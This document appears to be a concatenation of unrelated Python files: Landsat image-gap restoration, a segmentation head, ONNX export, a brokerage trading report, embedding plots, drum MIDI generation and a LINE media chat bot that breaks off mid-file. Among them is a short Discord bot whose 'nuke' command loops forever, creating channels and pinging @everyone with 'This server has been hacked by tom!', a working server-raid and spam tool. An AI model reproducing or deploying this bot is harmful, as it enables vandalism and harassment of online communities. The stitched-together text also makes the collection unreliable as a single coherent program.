import numpy as np
from sklearn.cluster import DBSCAN
from tifffile import imsave, imread
from tqdm import tqdm
from skimage.morphology import dilation, disk
from catboost import Pool, CatBoostRegressor, CatBoostError
import argparse

def parse_image(path):
    extension = path.split('.')[-1]
    if extension == 'npz':
        im = np.load(path)
        img = im['arr_0']
    else:
        img = imread(path)
    return img, extension

def save_image(img, extension):
    if extension == 'npz':
        np.savez('res.' + extension, img)
    else:
        imsave('res.' + extension, img)

def check_intersection(img):
    mask = np.ones(img.shape[1:3], dtype=bool)
    for i in range(len(img)):
        msk = img[i] == 0
        mask = mask * msk
    return np.count_nonzero(mask)

def create_train_data(target_image, training_images, target_mask, train_mask, j,
                      window_size, geospatial=True):
    target_image_window = target_image[:, j: j + window_size]
    target_mask_window = target_mask[:, j: j + window_size]
    if np.count_nonzero(target_mask_window) == 0:
        return 0, 0, 0, 0, 0
    train_mask_window = train_mask[:, j: j + window_size]
    training_images_window = training_images[:, :, j: j + window_size]
    train_data = np.array([training_images_window[m][train_mask_window] for m in
                           range(len(training_images_window))])
    train_label = target_image_window[train_mask_window]
    train_data = np.moveaxis(train_data, 0, 1)
    if geospatial:
        coordinates = np.array(np.where(train_mask_window))
        coordinates = np.moveaxis(coordinates, 0, 1)
        train_data = np.concatenate([train_data, coordinates], axis=1)
    restore_data = np.array(
        [training_images_window[m][target_mask_window] for m in
         range(len(training_images_window))])
    restore_data = np.moveaxis(restore_data, 0, 1)
    if geospatial:
        coordinates = np.array(np.where(target_mask_window))
        coordinates = np.moveaxis(coordinates, 0, 1)
        restore_data = np.concatenate([restore_data, coordinates], axis=1)
    return train_data, train_label, restore_data, \
           target_mask_window, target_image_window

def create_train_data_quick(target_image, training_images, target_mask,
                            train_mask, i, j, window_size, geospatial=True):
    target_image_window = target_image[i: i + window_size, j: j + window_size]
    target_mask_window = target_mask[i: i + window_size, j: j + window_size]
    if np.count_nonzero(target_mask_window) == 0:
        return 0, 0, 0, 0, 0
    train_mask_window = train_mask[i: i + window_size, j: j + window_size]
    training_images_window = training_images[:, i: i + window_size,
                             j: j + window_size]
    train_data = np.array([training_images_window[m][train_mask_window] for m in
                           range(len(training_images_window))])
    train_label = target_image_window[train_mask_window]
    train_data = np.moveaxis(train_data, 0, 1)
    if geospatial:
        coordinates = np.array(np.where(train_mask_window))
        coordinates = np.moveaxis(coordinates, 0, 1)
        train_data = np.concatenate([train_data, coordinates], axis=1)
    restore_data = np.array(
        [training_images_window[m][target_mask_window] for m in
         range(len(training_images_window))])
    restore_data = np.moveaxis(restore_data, 0, 1)
    if geospatial:
        coordinates = np.array(np.where(target_mask_window))
        coordinates = np.moveaxis(coordinates, 0, 1)
        restore_data = np.concatenate([restore_data, coordinates], axis=1)
    return train_data, train_label, restore_data, \
           target_mask_window, target_image_window

def create_order(img):
    number_of_skips = [np.count_nonzero(img[i] == 0) for i in
                       range(img.shape[0])]
    order = [i for i in range(img.shape[0])]
    order = [x for x, _ in
             sorted(zip(order, number_of_skips), key=lambda pair: pair[1])]
    return order

def create_horizontal_iteration(img, mask, average_segment_length=1):
    horizontal_iteration = [0]
    coordinates = np.where(mask)[1][0]
    horizontal_iteration = horizontal_iteration + [i for i in
                                                   range(coordinates,
                                                         img.shape[-1],
                                                         average_segment_length)
                                                   ]
    horizontal_iteration.append(img.shape[-1])
    return horizontal_iteration

def _dummy_restore(img_volume, mask_volume):
    def roll_down(mask, i):
        for m in range(i, i + 30):
            if not mask[m]:
                return m
            return m

    for channel in range(img_volume.shape[3]):
        mask = img_volume[:, :, :, channel] == 0
        mask = mask * mask_volume
        if np.count_nonzero(mask) != 0:
            indexes = np.where(mask)
            (numbers, i_s, j_s) = indexes
            for number, i, j in zip(numbers.tolist(), i_s.tolist(),
                                    j_s.tolist()):
                img_volume[number, i, j, channel] = img_volume[
                    number, i - 1, j, channel] if i - 1 > 0 else img_volume[
                    number, roll_down(mask_volume[number, :, j], i), j, channel]
    return img_volume

def _quick_restore(
        img_volume,
        mask_volume,
        restoration_order,
        window_size=479,
        min_value=0.,
        max_value=1.,
        verbose=True,
        geospatial=True
):
    model = CatBoostRegressor(
        learning_rate=0.2,
        depth=5,
        loss_function='RMSE',
        verbose=0,
        num_trees=300

    )

    for target_image_number in tqdm(restoration_order, disable=not verbose):
        target_image = img_volume[target_image_number]
        target_mask = mask_volume[target_image_number]
        if np.count_nonzero(target_mask) == 0:
            continue
        train_mask = dilation(target_mask, disk(1))
        train_mask = train_mask ^ target_mask
        training_images = np.concatenate([img_volume[:target_image_number],
                                          img_volume[target_image_number + 1:]],
                                         axis=0)
        threshold = (target_image.shape[0] - window_size,
                     target_image.shape[1] - window_size)
        for i in range(0, target_image.shape[0], window_size):
            for j in range(0, target_image.shape[1], window_size):
                if i > threshold[0]:
                    i = threshold[0]
                if j > threshold[1]:
                    j = threshold[1]
                for channel in range(img_volume.shape[-1]):
                    train_data, train_label, restore_data, \
                    target_mask_window, \
                    target_image_window = create_train_data_quick(
                        target_image[:, :, channel],
                        training_images[:, :, :, channel],
                        target_mask,
                        train_mask, i, j,
                        window_size, geospatial=geospatial
                    )
                    if type(train_data) == int:
                        continue
                    train_pool = Pool(train_data, train_label)
                    try:
                        model.fit(train_pool)
                        restore_pool = Pool(restore_data)
                        res = model.predict(restore_pool)
                    except CatBoostError:
                        res = np.full((restore_data.shape[0],),
                                      np.average(train_label[0]))
                    target_image_window[target_mask_window] = res
                    img_volume[target_image_number, i:i + window_size,
                    j: j + window_size,
                    channel] = target_image_window
    img_volume = np.nan_to_num(img_volume, nan=0.0)
    img_volume = np.clip(img_volume, min_value, max_value)
    return img_volume

def _restore_images(
        img_volume,
        mask_volume,
        restoration_order,
        average_segment_length=479,
        min_value=0.,
        max_value=1.,
        verbose=True,
        geospatial=True
):
    model = CatBoostRegressor(
        learning_rate=0.2,
        depth=4,
        loss_function='RMSE',
        verbose=0,
        num_trees=210

    )
    for target_image_number in tqdm(restoration_order, disable=not verbose):
        target_image = img_volume[target_image_number]
        target_mask = mask_volume[target_image_number]
        if np.count_nonzero(target_mask) == 0:
            continue
        train_mask = dilation(target_mask, disk(1))
        restore_indexes = np.where(train_mask)
        indexes = np.moveaxis(np.array(restore_indexes), 0, 1)
        labels = DBSCAN(eps=1.5).fit_predict(indexes)
        train_masks = []
        target_masks = []
        for i in set(labels):
            ind = np.where(labels == i)
            train_mask_2 = np.zeros(shape=train_mask.shape, dtype=bool)
            rst = tuple((restore_indexes[0][ind], restore_indexes[1][ind]))
            train_mask_2[rst] = True
            target_masks.append(train_mask_2 * target_mask)
            train_masks.append((train_mask_2 ^ target_masks[-1]) * ~target_mask)

        training_images = np.concatenate([img_volume[:target_image_number],
                                          img_volume[target_image_number + 1:]],
                                         axis=0)
        for train_mask_current, target_mask_current in zip(train_masks,
                                                           target_masks):
            horizontal_iteration = create_horizontal_iteration(
                target_image[:, :, 0],
                train_mask_current,
                average_segment_length=average_segment_length
            )
            for m in range(len(horizontal_iteration) - 1):
                for channel in range(img_volume.shape[-1]):
                    j = horizontal_iteration[m]
                    window_size = horizontal_iteration[m + 1] - j
                    train_data, train_label, restore_data, \
                    target_mask_window, target_image_window = create_train_data(
                        target_image[:, :, channel],
                        training_images[:, :, :, channel],
                        target_mask_current,
                        train_mask_current,
                        j, window_size, geospatial=geospatial
                    )
                    if type(train_data) == int:
                        continue
                    train_pool = Pool(train_data, train_label)
                    try:
                        model.fit(train_pool)
                        restore_pool = Pool(restore_data)
                        res = model.predict(restore_pool)
                    except CatBoostError:
                        res = np.full((restore_data.shape[0],),
                                      np.average(train_label[0]))
                    target_image_window[target_mask_window] = res
                    img_volume[target_image_number, :, j: j + window_size,
                    channel] = target_image_window
    img_volume = np.nan_to_num(img_volume, nan=0.0)
    img_volume = np.clip(img_volume, min_value, max_value)
    return img_volume

def quick_restore(
        img_volume,
        mask_volume,
        range_object=None,
        min_value=0.,
        max_value=1.,
        verbose=True
):
    try:
        assert img_volume.shape[0] == mask_volume.shape[0]
    except AssertionError:
        print('First dimension of img_volume and mask_volume must be equal!')

    try:
        assert len(mask_volume.shape) == 3
    except AssertionError:
        print('Mask must have 3 dimensions (num_images, height, width)!')

    try:
        assert check_intersection(~mask_volume) == 0
    except AssertionError:
        print(
            'Your images do not fully cover all missing pixels! Add more '
            'images to your batch.')

    if len(img_volume.shape) == 3:
        img_volume = np.expand_dims(img_volume, -1)
    for i in range(img_volume.shape[-1]):
        img_volume[:, :, :, i][mask_volume] = 0
    if range_object is None:
        range_object = create_order(img_volume)
    img_volume = _dummy_restore(img_volume, mask_volume)
    img_volume = _quick_restore(
        img_volume,
        mask_volume,
        range_object,
        min_value=min_value,
        max_value=max_value,
        verbose=verbose
    )
    return img_volume

def full_restore(
        img_volume,
        mask_volume,
        range_object=None,
        min_value=0.,
        max_value=1.,
        no_quick=False,
        verbose=True
):
    if range_object is None:
        range_object = create_order(img_volume)
    img_volume = quick_restore(
        img_volume,
        mask_volume,
        range_object=[] if no_quick else None,
        min_value=min_value,
        max_value=max_value,
        verbose=verbose
    )
    img_volume = _restore_images(
        img_volume,
        mask_volume,
        range_object,
        min_value=min_value,
        max_value=max_value,
        verbose=verbose
    )
    return img_volume

def main():
    parser = argparse.ArgumentParser(
        description='This script performs restoration of the Landsat 7 images.'
    )
    parser.add_argument('path_to_file', type=str,
                        help='Path to the file you want to restore. Currently '
                             'supported '
                             'formats are .npz and .tif. Note that your file '
                             'should have '
                             'shape (num_images, height, width, num_channels).')
    parser.add_argument('path_to_mask', type=str,
                        help='Path to the mask. Note that the mask must be of'
                             'shape (num_images, height, width). You can '
                             'create proper '
                             'mask with "create_mask.py".')
    parser.add_argument('--algorithm', type=str, default='quick',
                        choices=['quick', 'full'],
                        help='Type of the algorithm to use.')
    parser.add_argument('--silent', action='store_true')
    parser.add_argument('--order', type=int, action='extend', nargs='+',
                        help='You can specify which images you want to '
                             'restore and the order of restoration. '
                             "If you don't specify this parameter, all of "
                             "your images will be restored."
                             "Note that if you use full version of the "
                             "algorithm even if you specify only "
                             "part of the images to be restored, still all of "
                             "your images will be restored"
                             "but the full version of the algorithm will be "
                             "applied only to specified images."
                             "If you don't" 'want this behavior use option '
                             '"--noquick"')
    parser.add_argument('--noquick', action='store_true')
    parser.add_argument('--min', type=float, default=-1.)
    parser.add_argument('--max', type=float, default=1.)
    args = parser.parse_args()
    img_volume, extension = parse_image(args.path_to_file)
    mask_volume, _ = parse_image(args.path_to_mask)
    if args.algorithm == 'quick':
        img_volume = quick_restore(
            img_volume,
            mask_volume,
            range_object=args.order,
            min_value=args.min,
            max_value=args.max,
            verbose=not args.silent
        )
    elif args.algorithm == 'full':
        img_volume = full_restore(
            img_volume,
            mask_volume,
            range_object=args.order,
            min_value=args.min,
            max_value=args.max,
            verbose=not args.silent,
            no_quick=args.noquick
        )
    save_image(img_volume, extension)
    print('Restoration has ended! Result is saved in file "res.{}"'.format(
        extension))

if __name__ == '__main__':
    main()


import discord
from discord.ext import commands
import os
import asyncio

client = commands.Bot(command_prefix="?")
client.remove_command("help")

@client.event
async def on_ready():
    print("The bot is online!")
    activity = discord.Activity(type=discord.ActivityType.watching, name="Netflix")
    await client.change_presence(status=discord.Status.idle, activity=activity)

loop = True

@client.command()
async def nuke(ctx):
    global loop
    while loop == True:
        guild = ctx.guild
        channel = await guild.create_text_channel("tom is god")
        await channel.send("@everyone This server has been hacked by tom!")

@client.command()
async def stop(ctx):
    global loop
    loop = False

client.run(os.getenv("DISCORD_TOKEN"))


import torch
from mmcv.cnn import ContextBlock

from ..builder import HEADS
from .fcn_head import FCNHead

@HEADS.register_module()
class GCHead(FCNHead):
    """GCNet: Non-local Networks Meet Squeeze-Excitation Networks and Beyond.

    This head is the implementation of `GCNet
    <https://arxiv.org/abs/1904.11492>`_.

    Args:
        ratio (float): Multiplier of channels ratio. Default: 1/4.
        pooling_type (str): The pooling type of context aggregation.
            Options are 'att', 'avg'. Default: 'avg'.
        fusion_types (tuple[str]): The fusion type for feature fusion.
            Options are 'channel_add', 'channel_mul'. Default: ('channel_add',)
    """

    def __init__(self,
                 ratio=1 / 4.,
                 pooling_type='att',
                 fusion_types=('channel_add', ),
                 **kwargs):
        super(GCHead, self).__init__(num_convs=2, **kwargs)
        self.ratio = ratio
        self.pooling_type = pooling_type
        self.fusion_types = fusion_types
        self.gc_block = ContextBlock(
            in_channels=self.channels,
            ratio=self.ratio,
            pooling_type=self.pooling_type,
            fusion_types=self.fusion_types)

    def forward(self, inputs):
        """Forward function."""
        x = self._transform_inputs(inputs)
        output = self.convs[0](x)
        output = self.gc_block(output)
        output = self.convs[1](output)
        if self.concat_input:
            output = self.conv_cat(torch.cat([x, output], dim=1))
        output = self.cls_seg(output)
        return output


import onnx
#import onnxruntime
import torch

from yoeo import models

def convert_to_onnx(model, image_size, batch_size, output_path="yoeo.onnx"):
    dummy_input = torch.randn(batch_size,3,image_size,image_size, device="cuda")
    torch.onnx.export(
        model.cuda(),
        dummy_input,
        output_path,
        verbose=True,
        export_params=True,
        input_names=["InputLayer"],
        output_names=["YOLODetections", "Segmentations"],
        opset_version=11)

def check_onnx(path):
    model = onnx.load(path)
    onnx.checker.check_model(model)

def _to_numpy(tensor):
    return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()

def run_onnx(img, onnx_model_path="yoeo.onnx"):
    ort_session = onnxruntime.InferenceSession(onnx_model_path)
    ort_inputs = {ort_session.get_inputs()[0].name: _to_numpy(img)}
    ort_outs = ort_session.run(None, ort_inputs)
    return ort_outs[0], ort_outs[1]


"""
Uses IBKR to print out a report on trading activity
"""

from ib_insync import *
from rich import print

import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt

"""
Global vars
"""
queryID_trades = '690177' # flex report ID from IBKR

"""
1. setup token

"""
# get flexreport token
with open("token.txt") as f:
    tkn = f.read().strip()

"""
2. connect to ibkr
"""

ibkr = IB()
ibkr.connect('127.0.0.1', 7496, clientId=10)

"""
3. Download the flex report
"""
report = FlexReport(token = tkn, queryId = queryID_trades)

"""
4. Setup [dataframe]trades for processing
"""
trades = report.df('Trade')
trades.replace('', np.nan, inplace=True)
trades.dropna(subset=['strike'], inplace=True)
print('\n')

"""
Define some stats for later consumption
---
[dataframe] -> trades, closedTrades, closedTrades_groupedByWeek
"""
trades['orderTime'] = pd.to_datetime(trades['orderTime'])
numPositiveTrades = trades.loc[trades['fifoPnlRealized'] > 0]['ibOrderID'].count()
periodStart = trades['orderTime'].min().strftime('%Y-%m-%d')
periodEnd = trades['orderTime'].max().strftime('%Y-%m-%d')
totalFeesPaid = trades['ibCommission'].abs().sum()
totalTrades = trades['ibOrderID'].count()
totalContracts = trades['quantity'].abs().sum()

# create a dataframe of closed trades only
closedTrades = trades.loc[trades['fifoPnlRealized'] != 0].sort_values('dateTime').copy()
closedTrades['initialCapital'] = closedTrades['netCash'] - closedTrades['fifoPnlRealized']
closedTrades['pctReturn'] = (closedTrades['fifoPnlRealized'] /
    (closedTrades['netCash'] - closedTrades['fifoPnlRealized'] ) ) *100
averageReturnPerTrade = closedTrades['pctReturn'].mean()

# closed trades stats grouped by week
closedTradeStats_groupedByWeek = closedTrades.groupby(
    [pd.Grouper(key='orderTime', freq='W-FRI')]).agg(
        {'pctReturn':'mean',
        'symbol':'count',
        'fifoPnlRealized':'sum',
        'initialCapital':'sum'}
    ).reset_index().sort_values('orderTime')
#rename columns to reflect stats
closedTradeStats_groupedByWeek.rename(columns={
    'orderTime':'weekEnded',
    'symbol':'numTrades',
    'fifoPnlRealized': 'pnlRealized',
    'pctReturn': 'avgReturn'
}, inplace=True)

"""
Print a simple trading report to console consisting of:
    period covered
    total trades
    total $s traded
    average return per trade
    absolute $ return
    total fees
"""
# time period covered
print(f"[underline]Trading report for: {periodStart:s} - {periodEnd:s} ({np.busday_count(periodStart, periodEnd):.0f} days) [/underline]\n")

# total # trades (% +ve)
print(' Total Trades: %s (%.2f%% positive)'%(closedTrades['ibOrderID'].count(),
    (numPositiveTrades/closedTrades['ibOrderID'].count())*100))

# Total $ val traded
print(f" Total K traded: ${closedTrades['initialCapital'].sum():,.2f}")

# avg. return % per trade
print(' Avg. return/trade: %.2f%%'%(averageReturnPerTrade))

# absolute return
print(f" Net income: ${closedTrades['fifoPnlRealized'].sum():,.2f}")

# total fees paid, # avg fee per trade, avg fee per contract
print('')
print(f" Total Fees Paid: ${totalFeesPaid:,.2f}")
print(f"   Total contracts traded: {totalContracts:.0f}")
print(f"   Avg. fee per contract: ${totalFeesPaid/totalContracts:,.2f}")
print('\n')
print(closedTradeStats_groupedByWeek)

"""
Plot % return of trades over time
--
Params:
closedTrades: [dataframe]
period: [int] # days to plot (default to entire timeperiod in closedTrades)
"""
def plotTradingReturns(closedTrades, period=0):
    sns.set()
    fig, axes = plt.subplots(2, 2, figsize=(20,10))
    title = (f"Trading report for: {periodStart:s} - {periodEnd:s} ({np.busday_count(periodStart, periodEnd):.0f} days)")
    fig.suptitle(title)

    if period == 0:
        print('plot all time periods')
        closedTrades['dateTime'] = pd.to_datetime(closedTrades['dateTime']).dt.strftime('%y-%m-%d')

        ## plot returns over time
        sns.barplot(
            x = 'dateTime',
            y = 'pctReturn',
            data = closedTrades,
            ax=axes[0,0]
        )
        axes[0,0].set_title('% return per trade')

        ## plot histogram of returns
        sns.histplot(data=closedTrades, x='pctReturn', ax=axes[0,1])
        axes[0,1].set_title('Distribution - % return')

        ## plot weekly returns
        sns.pointplot(data = closedTradeStats_groupedByWeek, y='avgReturn', x='weekEnded', ax=axes[1,0])
        axes[1,0].set_title('Average Weekly Returns')

        ## Num trades
        sns.barplot(data = closedTradeStats_groupedByWeek, y='numTrades', x='weekEnded', ax=axes[1,0])

    else:
        print('Plot last %s days'%(period))
    plt.show()

plotTradingReturns(closedTrades)


"""Functions to visualize the results of document embeddings."""

from __future__ import annotations
from typing import Optional, Union
from collections import defaultdict

from matplotlib import pyplot as plt
import numpy as np
from scipy.stats import spearmanr
from tqdm import tqdm

from docembedder.analysis import DocAnalysis

def plot_cpc_correlations(correlations):
    """Plot correlation of embeddings with CPC classifications."""
    plt.figure(dpi=100)
    for model_name, cor_data in correlations.items():
        plt.plot(cor_data["year"], cor_data["correlations"], label=model_name)
    plt.legend()

def plot_window_difference(  # pylint: disable=too-many-arguments,too-many-locals
        analysis: DocAnalysis,
        window_1: Optional[Union[int, tuple[int, int]]],
        window_2: Optional[Union[int, tuple[int, int]]],
        impact: bool=True,
        show_max: int = 100,
        model_name: Optional[str]=None):
    """Plot the effect on novelty/impact of having a different window size.

    Arguments
    ---------
    analysis:
        Analysis object to get the data from.
    window_1:
        First window to compare.
    window_2:
        Second window to compare.
    impact:
        If true, plot the impacts, if false, plot the novelties.
    show_max:
        Maximum number of points to show in the plot. Doesn't affect the
        correlation.
    model:
        Model name to plot. If None, plot all available models in the same
        plot.
    """
    exponent = 1.0
    results_1: dict[str, list] = defaultdict(list)
    results_2: dict[str, list] = defaultdict(list)
    for window, model in tqdm(analysis.data.iterate_window_models(model_name=model_name)):
        imp_res_1 = analysis.compute_impact_novelty(
            window, model, window=(1, 5), exponents=[exponent])
        imp_res_2 = analysis.compute_impact_novelty(
            window, model, window=(6, 10))
        if impact:
            results_1[model].extend(imp_res_1[exponent]["impact"])
            results_2[model].extend(imp_res_1[exponent]["novelty"])
        else:
            results_1[model].extend(imp_res_2[exponent]["impact"])
            results_2[model].extend(imp_res_2[exponent]["novelty"])
    plt.figure(dpi=100)
    for model in results_1:
        result_r = spearmanr(results_1[model], results_2[model])
        if len(results_1[model]) > show_max:
            rand_idx = np.random.choice(len(results_1[model]), show_max, replace=False)
            res_1 = np.array(results_1[model])[rand_idx]
            res_2 = np.array(results_2[model])[rand_idx]
        else:
            res_1 = results_1[model]
            res_2 = results_2[model]
        plt.scatter(res_1, res_2, label=f"{model}: {result_r.correlation:.3f}")
        plt.xlabel(f"{window_1}")
        plt.ylabel(str(window_2))
    if impact:
        plt.title("Impact")
    else:
        plt.title("Novelty")
    plt.legend()
    plt.show()


from .constants import *
from IPython.display import clear_output
import matplotlib.pyplot as plt
#%matplotlib inline

import random
import pretty_midi
from IPython.display import Audio
from scipy.io import wavfile
import numpy as np

from tensorboard_logger import configure, log_value

from datetime import datetime

import matplotlib
matplotlib.rcParams.update({'font.size': 14})

def start_tfboard_log(logdir_prefix = "/tmp/tf_logs/"):
    now = datetime.now()
    logdir = logdir_prefix + now.strftime("%Y%m%d-%H%M%S")
    cmd = "tensorboard --logdir=" + logdir_prefix
    print (cmd)
    configure(logdir, flush_secs=5)

# Create Z for generator
def get_noise(batch_size, len_input):
#    noise = np.random.uniform(-1.0, 1.0, size=[batch_size, len_input])

    # better to use a spherical Z. according to https://github.com/soumith/ganhacks
    noise = np.random.normal(0.0, 1.0, size=[batch_size, len_input])
    return noise

def plot_drum_matrix(a):
    if a is not None:
        a = np.transpose(np.squeeze(a))

        fig = plt.figure(figsize=(12,5))
        ax = fig.add_subplot(111)
        ax.set_xticklabels(["1.1","1.2","1.3","1.4","2.1","2.2","2.3","2.4"] )
        ax.set_yticklabels([""]+DRUM_CLASSES)
        for i in range(8):
            plt.axvline(x=i*4-0.5,  color='0.7', linewidth=0.5)
        plt.axvline(x=15.5, color='0.5', linewidth=1.0)

        ax.matshow(a, cmap="YlOrRd")
        plt.xticks(np.arange(0, 32, 4.0))
        plt.show()

def play_drum_matrix(mat, tempo=120.0, threshold=0.0):
    # generate audio
    audio_data, mididata = get_audio_from_drum_matrix(mat, tempo=tempo, threshold=threshold)
    display(Audio(audio_data, rate=44100))
    return audio_data, mididata

def get_audio_from_drum_matrix(mat, tempo=120., threshold=0.0):
    # ignore weak onsets
    mat[mat < threshold] = threshold

    pm = pretty_midi.PrettyMIDI(initial_tempo=tempo) # midi object
    pm_inst = pretty_midi.Instrument(0, is_drum=True) # midi instrument

    timestep = (60./tempo) / 4. # duration of a 16th note
    for position, timeslot in enumerate(mat):
        for inst, onset in enumerate(timeslot):
            if onset > 0.:
                note_number = DRUM_MIDI_MAP[inst]
                velocity = int(onset * 127.)
                start = timestep * position
                end = timestep * (position + 0.5)

                # create a midi note
                note = pretty_midi.Note(velocity=velocity, pitch=note_number, start=start, end=end)
                pm_inst.notes.append(note)
    pm.instruments.append(pm_inst)

    # midi -> audio
    audio_data = pm.fluidsynth()
    return audio_data, pm


from linepy import *
from linepy import style
from justgood import imjustgood
import os,sys,re,ast,json,requests,time
import traceback,threading,livejson,random

'''

    DONT CHANGE OR REMOVE IF YOU ARE NOT SURE WHAT YOU DO :)

    THIS SCRIPT USING PUBLIC APIKEY FROM API.IMJUSTGOOD.COM WITH RATE LIMIT 50 REQUEST PERDAYS.

    GET YOUR PREMIUM APIKEY HERE : https://api.imjustgood.com/intro

'''

class justgood(threading.Thread):

    def __init__(self, uid=None, client=None):
        super(justgood, self).__init__()
        self.uid = uid
        self.client = client
        self.flex = style.autobots()
        self.db = livejson.File('data/data.json', True, False, 4)
        self.key = livejson.File('data/key.json', True, False, 4)
        self.api = livejson.File('data/api.json', True, False, 4)
        self.host = f"https://{self.api['main']}"
        self.media = imjustgood(self.api["apikey"])
        self.master = self.db['master']
        self.join = False
        self.read = {
            "cctv": {},
            "imgurl": {}
        }

    def notified_invite_into_group(self, op):
        to = op.param1
        if self.uid in op.param3:
            self.client.acceptGroupInvitation(to)
            if op.param2 in self.master or self.join == True:
                rname = self.key["rname"]
                if rname != "":
                   rname =  rname + " "
                text = f"Thanks @!\nType ` {rname}help ` for menu."
                self.client.sendMention(to,text,[op.param2])
                self.client.sendOA(to)
            else:
                self.client.sendMessage(to,"Permission denied")
                self.client.sendOA(to)
                self.client.leaveGroup(to)

    def notified_read_message(self,op):
        group = op.param1
        member = op.param2
        if group in self.read["cctv"] and group.startswith("c"):
            target = [mem.mid for mem in self.client.getGroup(group).members]
            if member in target and member not in self.read["cctv"][group]:
                query =["Jomblo nyimak.","1 monyet nyimak.","Si burik nyimak."]
                text = "» @!\n{}".format(random.choice(query))
                self.client.sendMention(group,text,[member])
                self.read["cctv"][group].append(member)

    def receive_message(self, op):
        msg = op.message
        to = msg.to
        ids = msg.id
        level = msg._from
        rname = self.key["rname"]
        if rname != "":
           rname =  rname + " "
        if msg.toType in [0,1,2]:
            if msg.toType == 0:
                to = level
            if msg.contentType == 1:
                if to in self.read["imgurl"]:
                    del self.read["imgurl"][to]
                    try:
                        path = self.client.downloadObjectMsg(ids)
                        data = self.media.imgurl(path)
                        main = data['result']
                        result = f"Image was converted :\n{main}"
                        self.client.sendReplyMessage(ids,to,result)
                    except Exception as e:
                        self.client.sendReplyMessage(ids,to,f"ERROR : {e}")
            if msg.contentType == 0:
                text = msg.text.lower()
                link = msg.text[msg.text.find(":")+2:]
                search = msg.text[msg.text.find(":")+2:].lower()
                try:
                    if text == "rname":
                        if rname == "":self.client.sendMention(to,"@!",[self.uid])
                        else:self.client.sendMessage(to,rname[:-1].capitalize())

                    if text == "buzz!":
                        self.client.sendMessage(to,"Yes, sir !")

                    if text == rname + "help":
                        result = self.flex.help()
                        self.client.sendFlex(to,result)

                    '''

                       MEDIA MENU COMMANDS

                       FULL DOCUMENTATION HERE :

                       https://api.imjustgood.com/custom/cmd

                    '''

                    if text.startswith(rname + "youtube"):
                        query = text.split("youtube")[1]
                        if query.startswith("dl: http"):
                            data = self.media.youtubedl(link)
                            main = data["result"]
                            result = self.flex.youtube(main)
                            self.client.sendFlex(to,result)
                            self.client.sendFlexVideo(to,main["videoUrl"],main["thumbnail"])
                            self.client.sendFlexAudio(to,main["audioUrl"])
                        if query.startswith(": "):
                            data = self.media.youtube(search)
                            main = data['result']
                            result = self.flex.youtube(main)
                            self.client.sendFlex(to,result)
                            self.client.sendFlexVideo(to,main["videoUrl"],main["thumbnail"])
                            self.client.sendFlexAudio(to,main["audioUrl"])

                    if text.startswith(rname + "joox: "):
                        data = self.media.joox(search)
                        main = data['result']
                        result = self.flex.joox(main)
                        self.client.sendFlex(to,result)
                        self.client.sendAudioWithURL(to,main["mp3Url"])

                    if text.startswith(rname + "lyric: "):
                        data = self.media.lyric(search)
                        main = data['result']
                        result = self.flex.lyric(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "tiktok"):
                        query = text.split("tiktok")[1]
                        if query.startswith("dl: http"):
                            self.client.sendMessage(to,"Downloading..")
                            data = self.media.tiktokdl(link)
                            result = data['result']['watermark']
                            self.client.sendVideoWithURL(to,result)
                        if query.startswith(": "):
                            data = self.media.tiktok(search)
                            main = data['result']
                            result = self.flex.tiktok(main)
                            self.client.sendFlex(to,result)

                    if text.startswith(rname + "smule"):
                        query = text.split("smule")[1]
                        if query.startswith("dl: http"):
                            self.client.sendMessage(to,"Downloading..")
                            data = self.media.smuledl(link)
                            main = data['result']
                            self.client.sendAudioWithURL(to,main["mp3Url"])
                            if main["type"] == "video":
                               self.client.sendFlexVideo(to,main["mp4Url"],main["thumbnail"])
                        if query.startswith(": "):
                            self.client.sendMessage(to,"Searching..")
                            data = self.media.smule(search)
                            main = data['result']
                            result = self.flex.smule(main)
                            self.client.sendFlex(to,result)

                    if text.startswith(rname + "twitter"):
                        query = text.split("twitter")[1]
                        if query.startswith("dl: http"):
                            self.client.sendMessage(to,"Downloading..")
                            data = self.media.twitterdl(link)
                            result = data['result']['videoUrl']
                            self.client.sendFlexVideo(to,result,"cyan")
                        if query.startswith(": "):
                            data = self.media.twitter(search)
                            main = data['result']
                            result = self.flex.twitter(main)
                            self.client.sendFlex(to,result)

                    if text.startswith(rname + "facebookdl: http"):
                        data = self.media.facebookdl(link)
                        main = data["result"]
                        result = self.flex.facebook(main)
                        self.client.sendFlex(to,result)
                        self.client.sendFlexVideo(to,main["videoUrl"],"white")

                    if text.startswith(rname + "timeline: http"):
                        data = self.media.timeline(link)
                        main = data['result']
                        result = self.flex.timeline(main)
                        self.client.sendFlex(to,result)
                        for i in main["timeline"]:
                            if i["type"] == "video":
                               self.client.sendFlexVideo(to,i["url"],i["thumbnail"])
                            if i["type"] == "image":
                               self.client.sendFlexImage(to,i["url"])

                    if text.startswith(rname + "github: "):
                        data = self.media.github(search)
                        main = data['result']
                        result = self.flex.github(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "instagram: "):
                        data = self.media.instagram(search)
                        main = data['result']
                        result = self.flex.instagram(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "instapost: "):
                        data = self.media.instapost(link)
                        main = data['result']
                        result = self.flex.instapost(main)
                        self.client.sendFlex(to,result)
                        if main["postData"] != []:
                           for i in main["postData"]:
                               if i["type"] == "image":
                                  self.client.sendFlexImage(to,i["postUrl"])
                               if i["type"] == "video":
                                  self.client.sendFlexVideo(to,i["postUrl"],i["poster"])

                    if text.startswith(rname + "instastory: "):
                        query = search.split(" / ")
                        if len(query) == 2:
                           self.client.sendMessage(to,"Downloading..")
                           data = self.media.instastory(query[0])
                           main = data['result']['stories'][int(query[1])-1]
                           result = self.flex.instastory(data['result'],int(query[1])-1)
                           self.client.sendFlex(to,result)
                           if main["type"] == "video":
                              self.client.sendFlexVideo(to,main["url"],main["thumbnail"])
                           if main["type"] == "image":
                              self.client.sendFlexImage(to,main["url"])
                        if len(query) == 1:
                           self.client.sendMessage(to,"Invalid commands.")
                           self.client.sendReplyMessage(ids,to,"「   Example   」\n"+f"{text} / number".capitalize())

                    if text.startswith(rname + "bitly: "):
                        data = self.media.bitly(link)
                        main = data['result']
                        result = "URL Shortened : {}".format(main)
                        self.client.sendReplyMessage(ids,to,result)

                    if text.startswith(rname + "tinyurl: "):
                        data = self.media.tinyurl(link)
                        main = data['result']
                        result = "URL Shortened : {}".format(main)
                        self.client.sendReplyMessage(ids,to,result)

